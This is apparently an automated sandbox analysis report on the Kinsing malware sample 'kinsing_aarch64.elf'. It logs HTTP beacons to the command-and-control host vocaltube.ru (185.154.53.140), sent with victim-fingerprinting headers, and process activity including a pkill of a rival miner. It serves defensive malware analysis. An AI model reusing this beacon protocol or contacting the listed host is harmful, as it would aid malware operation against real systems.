                                                2023-11-29 17:00:32 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                11192.168.2.2352202185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:32 UTC433OUTGET /l HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/l
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:32 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:32 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:32 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                12192.168.2.2352208185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:34 UTC431OUTGET /h2 HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Id: XkuYcgDAciutzIypiAiuryUVKkvyRo
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/h2
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:35 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:34 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:35 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                13192.168.2.2352214185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:37 UTC435OUTGET /ms HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/ms
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:38 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:38 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:38 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                System Behavior

                                                General

                                                Start time (UTC):16:58:50
                                                Start date (UTC):29/11/2023
                                                Path:/tmp/kinsing_aarch64.elf
                                                Arguments:/tmp/kinsing_aarch64.elf
                                                File size:5706200 bytes
                                                MD5 hash:02e8e39e1b46472a60d128a6da84a2b8

                                                File Activities

                                                Process Activities

                                                System Activities


                                                General

                                                Start time (UTC):16:58:50
                                                Start date (UTC):29/11/2023
                                                Path:/tmp/kinsing_aarch64.elf
                                                Arguments:-
                                                File size:5706200 bytes
                                                MD5 hash:02e8e39e1b46472a60d128a6da84a2b8

                                                Process Activities


                                                General

                                                Start time (UTC):16:58:50
                                                Start date (UTC):29/11/2023
                                                Path:/tmp/kinsing_aarch64.elf
                                                Arguments:/tmp/kinsing_aarch64.elf
                                                File size:5706200 bytes
                                                MD5 hash:02e8e39e1b46472a60d128a6da84a2b8

                                                File Activities

                                                Process Activities

                                                System Activities


                                                General

                                                Start time (UTC):17:00:00
                                                Start date (UTC):29/11/2023
                                                Path:/tmp/kinsing_aarch64.elf
                                                Arguments:-
                                                File size:5706200 bytes
                                                MD5 hash:02e8e39e1b46472a60d128a6da84a2b8

                                                Process Activities


                                                General

                                                Start time (UTC):17:00:00
                                                Start date (UTC):29/11/2023
                                                Path:/usr/bin/sh
                                                Arguments:sh -c "pkill -f kdevtmpfsi"
                                                File size:129816 bytes
                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                File Activities

                                                Process Activities


                                                General

                                                Start time (UTC):17:00:00
                                                Start date (UTC):29/11/2023
                                                Path:/usr/bin/sh
                                                Arguments:-
                                                File size:129816 bytes
                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                Process Activities


                                                General

                                                Start time (UTC):17:00:00
                                                Start date (UTC):29/11/2023
                                                Path:/usr/bin/pkill
                                                Arguments:pkill -f kdevtmpfsi
                                                File size:30968 bytes
                                                MD5 hash:fa96a75a08109d8842e4865b2907d51f

                                                File Activities

                                                Process Activities